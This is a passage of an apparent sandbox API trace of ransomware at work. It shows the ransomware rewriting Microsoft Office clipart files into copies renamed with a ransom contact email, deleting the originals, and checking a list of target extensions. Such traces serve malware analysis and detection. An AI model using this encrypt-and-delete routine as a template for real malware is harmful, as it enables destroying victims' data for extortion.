[0302.655] WriteFile (in: hFile=0x4c0, lpBuffer=0x40b1020*, nNumberOfBytesToWrite=0x1cb0, lpNumberOfBytesWritten=0x313fc94, lpOverlapped=0x0 | out: lpBuffer=0x40b1020*, lpNumberOfBytesWritten=0x313fc94*=0x1cb0, lpOverlapped=0x0) returned 1 [0302.656] ReadFile (in: hFile=0x4c4, lpBuffer=0x40b1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fecc, lpOverlapped=0x0 | out: lpBuffer=0x40b1020*, lpNumberOfBytesRead=0x313fecc*=0x0, lpOverlapped=0x0) returned 1 [0302.656] WriteFile (in: hFile=0x4c0, lpBuffer=0x40b1020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x313fc94, lpOverlapped=0x0 | out: lpBuffer=0x40b1020*, lpNumberOfBytesWritten=0x313fc94*=0xec, lpOverlapped=0x0) returned 1 [0302.656] SetEndOfFile (hFile=0x4c0) returned 1 [0302.677] CloseHandle (hObject=0x4c0) returned 1 [0302.680] SetFilePointerEx (in: hFile=0x4c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0302.680] SetEndOfFile (hFile=0x4c4) returned 1 [0302.715] CloseHandle (hObject=0x4c4) returned 1 [0302.715] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01242_.WMF.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x220) returned 1 [0302.715] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01242_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01242_.wmf")) returned 1 [0302.717] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01242_.WMF") returned 68 [0302.717] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01242_.WMF") returned 68 [0302.717] lstrlenW (lpString=".doc") returned 4 [0302.717] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0302.717] lstrlenW (lpString=".docx") returned 5 [0302.717] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0302.717] lstrlenW (lpString=".pdf") returned 4 [0302.717] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0302.717] lstrlenW (lpString=".xls") returned 4 [0302.717] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0302.717] lstrlenW (lpString=".xlsx") returned 5 [0302.717] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0302.717] lstrlenW (lpString=".ppt") returned 4 [0302.717] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0302.717] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01242_.WMF") returned 68 [0302.717] lstrlenW (lpString=".zip") returned 4 [0302.717] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0302.717] lstrlenW (lpString=".rar") returned 4 [0302.717] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0302.717] lstrlenW (lpString=".bz2") returned 4 [0302.717] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0302.717] lstrlenW (lpString=".7z") returned 3 [0302.717] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0302.717] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01242_.WMF") returned 68 [0302.717] lstrlenW (lpString=".dbf") returned 4 [0302.717] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0302.717] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01242_.WMF") returned 68 [0302.717] lstrlenW (lpString=".1cd") returned 4 [0302.717] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0302.717] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01242_.WMF") returned 68 [0302.717] lstrlenW (lpString=".jpg") returned 4 [0302.718] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0302.718] GetFileSizeEx (in: hFile=0x4c4, lpFileSize=0x313ff14 | out: lpFileSize=0x313ff14*=7296) returned 1 [0302.718] CloseHandle (hObject=0x4c4) returned 1 [0302.718] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01618_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01618_.wmf")) returned 0x220 [0302.718] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01618_.WMF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01618_.wmf.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0302.718] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01618_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01618_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4c4 [0302.719] SetFilePointerEx (in: hFile=0x4c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0302.719] SetFilePointerEx (in: hFile=0x4c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0302.719] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01618_.WMF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01618_.wmf.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4f8 [0302.719] GetLastError () returned 0x0 [0302.719] ReadFile (in: hFile=0x4c4, lpBuffer=0x40b1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fecc, lpOverlapped=0x0 | out: lpBuffer=0x40b1020*, lpNumberOfBytesRead=0x313fecc*=0x1c80, lpOverlapped=0x0) returned 1 [0303.019] WriteFile (in: hFile=0x4f8, lpBuffer=0x40b1020*, nNumberOfBytesToWrite=0x1c90, lpNumberOfBytesWritten=0x313fc94, lpOverlapped=0x0 | out: lpBuffer=0x40b1020*, lpNumberOfBytesWritten=0x313fc94*=0x1c90, lpOverlapped=0x0) returned 1 [0303.020] ReadFile (in: hFile=0x4c4, lpBuffer=0x40b1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fecc, lpOverlapped=0x0 | out: lpBuffer=0x40b1020*, lpNumberOfBytesRead=0x313fecc*=0x0, lpOverlapped=0x0) returned 1 [0303.020] WriteFile (in: hFile=0x4f8, lpBuffer=0x40b1020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x313fc94, lpOverlapped=0x0 | out: lpBuffer=0x40b1020*, lpNumberOfBytesWritten=0x313fc94*=0xec, lpOverlapped=0x0) returned 1 [0303.020] SetEndOfFile (hFile=0x4f8) returned 1 [0303.020] CloseHandle (hObject=0x4f8) returned 1 [0303.021] SetFilePointerEx (in: hFile=0x4c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0303.021] SetEndOfFile (hFile=0x4c4) returned 1 [0303.024] CloseHandle (hObject=0x4c4) returned 1 [0303.025] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01618_.WMF.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x220) returned 1 [0303.025] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01618_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01618_.wmf")) returned 1 [0303.026] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01618_.WMF") returned 68 [0303.026] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01618_.WMF") returned 68 [0303.026] lstrlenW (lpString=".doc") returned 4 [0303.026] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0303.026] lstrlenW (lpString=".docx") returned 5 [0303.026] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0303.026] lstrlenW (lpString=".pdf") returned 4 [0303.026] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0303.026] lstrlenW (lpString=".xls") returned 4 [0303.026] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0303.026] lstrlenW (lpString=".xlsx") returned 5 [0303.027] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0303.027] lstrlenW (lpString=".ppt") returned 4 [0303.027] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0303.027] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01618_.WMF") returned 68 [0303.027] lstrlenW (lpString=".zip") returned 4 [0303.027] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0303.027] lstrlenW (lpString=".rar") returned 4 [0303.027] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0303.027] lstrlenW (lpString=".bz2") returned 4 [0303.027] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0303.027] lstrlenW (lpString=".7z") returned 3 [0303.027] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0303.027] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01618_.WMF") returned 68 [0303.027] lstrlenW (lpString=".dbf") returned 4 [0303.027] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0303.027] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01618_.WMF") returned 68 [0303.027] lstrlenW (lpString=".1cd") returned 4 [0303.027] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0303.027] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01618_.WMF") returned 68 [0303.027] lstrlenW (lpString=".jpg") returned 4 [0303.027] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0303.028] GetFileSizeEx (in: hFile=0x4c4, lpFileSize=0x313ff14 | out: lpFileSize=0x313ff14*=2704) returned 1 [0303.028] CloseHandle (hObject=0x4c4) returned 1 [0303.028] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02155_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh02155_.wmf")) returned 0x220 [0303.028] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02155_.WMF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh02155_.wmf.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0303.033] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02155_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh02155_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4c4 [0303.033] SetFilePointerEx (in: hFile=0x4c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0303.033] SetFilePointerEx (in: hFile=0x4c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0303.033] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02155_.WMF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh02155_.wmf.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4f8 [0303.035] GetLastError () returned 0x0 [0303.037] ReadFile (in: hFile=0x4c4, lpBuffer=0x40b1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fecc, lpOverlapped=0x0 | out: lpBuffer=0x40b1020*, lpNumberOfBytesRead=0x313fecc*=0xa90, lpOverlapped=0x0) returned 1 [0303.163] WriteFile (in: hFile=0x4f8, lpBuffer=0x40b1020*, nNumberOfBytesToWrite=0xaa0, lpNumberOfBytesWritten=0x313fc94, lpOverlapped=0x0 | out: lpBuffer=0x40b1020*, lpNumberOfBytesWritten=0x313fc94*=0xaa0, lpOverlapped=0x0) returned 1 [0303.164] ReadFile (in: hFile=0x4c4, lpBuffer=0x40b1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fecc, lpOverlapped=0x0 | out: lpBuffer=0x40b1020*, lpNumberOfBytesRead=0x313fecc*=0x0, lpOverlapped=0x0) returned 1 [0303.164] WriteFile (in: hFile=0x4f8, lpBuffer=0x40b1020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x313fc94, lpOverlapped=0x0 | out: lpBuffer=0x40b1020*, lpNumberOfBytesWritten=0x313fc94*=0xec, lpOverlapped=0x0) returned 1 [0303.165] SetEndOfFile (hFile=0x4f8) returned 1 [0303.167] CloseHandle (hObject=0x4f8) returned 1 [0303.168] SetFilePointerEx (in: hFile=0x4c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0303.168] SetEndOfFile (hFile=0x4c4) returned 1 [0303.182] CloseHandle (hObject=0x4c4) returned 1 [0303.182] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02155_.WMF.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x220) returned 1 [0303.182] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02155_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh02155_.wmf")) returned 1 [0303.183] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02155_.WMF") returned 68 [0303.183] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02155_.WMF") returned 68 [0303.183] lstrlenW (lpString=".doc") returned 4 [0303.183] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0303.183] lstrlenW (lpString=".docx") returned 5 [0303.183] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0303.183] lstrlenW (lpString=".pdf") returned 4 [0303.183] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0303.183] lstrlenW (lpString=".xls") returned 4 [0303.184] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0303.184] lstrlenW (lpString=".xlsx") returned 5 [0303.184] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0303.184] lstrlenW (lpString=".ppt") returned 4 [0303.184] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0303.184] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02155_.WMF") returned 68 [0303.184] lstrlenW (lpString=".zip") returned 4 [0303.184] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0303.184] lstrlenW (lpString=".rar") returned 4 [0303.184] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0303.184] lstrlenW (lpString=".bz2") returned 4 [0303.184] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0303.184] lstrlenW (lpString=".7z") returned 3 [0303.184] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0303.184] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02155_.WMF") returned 68 [0303.184] lstrlenW (lpString=".dbf") returned 4 [0303.184] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0303.184] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02155_.WMF") returned 68 [0303.184] lstrlenW (lpString=".1cd") returned 4 [0303.184] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0303.184] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02155_.WMF") returned 68 [0303.184] lstrlenW (lpString=".jpg") returned 4 [0303.184] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0303.185] GetFileSizeEx (in: hFile=0x4c4, lpFileSize=0x313ff14 | out: lpFileSize=0x313ff14*=7932) returned 1 [0303.185] CloseHandle (hObject=0x4c4) returned 1 [0303.185] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02282_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh02282_.wmf")) returned 0x220 [0303.185] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02282_.WMF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh02282_.wmf.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0303.185] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02282_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh02282_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4c4 [0303.186] SetFilePointerEx (in: hFile=0x4c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0303.186] SetFilePointerEx (in: hFile=0x4c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0303.186] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02282_.WMF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh02282_.wmf.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4f4 [0303.187] GetLastError () returned 0x0 [0303.187] ReadFile (in: hFile=0x4c4, lpBuffer=0x40b1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fecc, lpOverlapped=0x0 | out: lpBuffer=0x40b1020*, lpNumberOfBytesRead=0x313fecc*=0x1efc, lpOverlapped=0x0) returned 1 [0303.245] WriteFile (in: hFile=0x4f4, lpBuffer=0x40b1020*, nNumberOfBytesToWrite=0x1f00, lpNumberOfBytesWritten=0x313fc94, lpOverlapped=0x0 | out: lpBuffer=0x40b1020*, lpNumberOfBytesWritten=0x313fc94*=0x1f00, lpOverlapped=0x0) returned 1 [0303.246] ReadFile (in: hFile=0x4c4, lpBuffer=0x40b1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fecc, lpOverlapped=0x0 | out: lpBuffer=0x40b1020*, lpNumberOfBytesRead=0x313fecc*=0x0, lpOverlapped=0x0) returned 1 [0303.246] WriteFile (in: hFile=0x4f4, lpBuffer=0x40b1020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x313fc94, lpOverlapped=0x0 | out: lpBuffer=0x40b1020*, lpNumberOfBytesWritten=0x313fc94*=0xec, lpOverlapped=0x0) returned 1 [0303.246] SetEndOfFile (hFile=0x4f4) returned 1 [0303.246] CloseHandle (hObject=0x4f4) returned 1 [0303.246] SetFilePointerEx (in: hFile=0x4c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0303.246] SetEndOfFile (hFile=0x4c4) returned 1 [0303.351] CloseHandle (hObject=0x4c4) returned 1 [0303.351] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02282_.WMF.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x220) returned 1 [0303.351] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02282_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh02282_.wmf")) returned 1 [0303.352] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02282_.WMF") returned 68 [0303.352] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02282_.WMF") returned 68 [0303.352] lstrlenW (lpString=".doc") returned 4 [0303.352] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0303.352] lstrlenW (lpString=".docx") returned 5 [0303.352] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0303.352] lstrlenW (lpString=".pdf") returned 4 [0303.353] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0303.353] lstrlenW (lpString=".xls") returned 4 [0303.353] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0303.353] lstrlenW (lpString=".xlsx") returned 5 [0303.353] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0303.353] lstrlenW (lpString=".ppt") returned 4 [0303.353] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0303.353] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02282_.WMF") returned 68 [0303.353] lstrlenW (lpString=".zip") returned 4 [0303.353] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0303.353] lstrlenW (lpString=".rar") returned 4 [0303.353] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0303.353] lstrlenW (lpString=".bz2") returned 4 [0303.353] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0303.353] lstrlenW (lpString=".7z") returned 3 [0303.353] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0303.353] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02282_.WMF") returned 68 [0303.353] lstrlenW (lpString=".dbf") returned 4 [0303.353] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0303.353] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02282_.WMF") returned 68 [0303.353] lstrlenW (lpString=".1cd") returned 4 [0303.353] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0303.353] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02282_.WMF") returned 68 [0303.353] lstrlenW (lpString=".jpg") returned 4 [0303.353] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0303.354] GetFileSizeEx (in: hFile=0x4c4, lpFileSize=0x313ff14 | out: lpFileSize=0x313ff14*=4970) returned 1 [0303.354] CloseHandle (hObject=0x4c4) returned 1 [0303.354] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02312_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh02312_.wmf")) returned 0x220 [0303.354] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02312_.WMF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh02312_.wmf.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0303.354] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02312_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh02312_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4c4 [0303.354] SetFilePointerEx (in: hFile=0x4c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0303.354] SetFilePointerEx (in: hFile=0x4c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0303.354] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02312_.WMF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh02312_.wmf.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x50c [0303.355] GetLastError () returned 0x0 [0303.355] ReadFile (in: hFile=0x4c4, lpBuffer=0x40b1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fecc, lpOverlapped=0x0 | out: lpBuffer=0x40b1020*, lpNumberOfBytesRead=0x313fecc*=0x136a, lpOverlapped=0x0) returned 1 [0303.521] WriteFile (in: hFile=0x50c, lpBuffer=0x40b1020*, nNumberOfBytesToWrite=0x1370, lpNumberOfBytesWritten=0x313fc94, lpOverlapped=0x0 | out: lpBuffer=0x40b1020*, lpNumberOfBytesWritten=0x313fc94*=0x1370, lpOverlapped=0x0) returned 1 [0303.523] ReadFile (in: hFile=0x4c4, lpBuffer=0x40b1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fecc, lpOverlapped=0x0 | out: lpBuffer=0x40b1020*, lpNumberOfBytesRead=0x313fecc*=0x0, lpOverlapped=0x0) returned 1 [0303.523] WriteFile (in: hFile=0x50c, lpBuffer=0x40b1020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x313fc94, lpOverlapped=0x0 | out: lpBuffer=0x40b1020*, lpNumberOfBytesWritten=0x313fc94*=0xec, lpOverlapped=0x0) returned 1 [0303.523] SetEndOfFile (hFile=0x50c) returned 1 [0303.523] CloseHandle (hObject=0x50c) returned 1 [0303.523] SetFilePointerEx (in: hFile=0x4c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0303.523] SetEndOfFile (hFile=0x4c4) returned 1 [0303.549] CloseHandle (hObject=0x4c4) returned 1 [0303.550] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02312_.WMF.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x220) returned 1 [0303.687] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02312_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh02312_.wmf")) returned 1 [0303.821] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02312_.WMF") returned 68 [0303.821] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02312_.WMF") returned 68 [0303.821] lstrlenW (lpString=".doc") returned 4 [0303.821] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0303.821] lstrlenW (lpString=".docx") returned 5 [0303.821] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0303.821] lstrlenW (lpString=".pdf") returned 4 [0303.821] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0303.821] lstrlenW (lpString=".xls") returned 4 [0303.821] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0303.821] lstrlenW (lpString=".xlsx") returned 5 [0303.821] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0303.821] lstrlenW (lpString=".ppt") returned 4 [0303.821] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0303.821] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02312_.WMF") returned 68 [0303.821] lstrlenW (lpString=".zip") returned 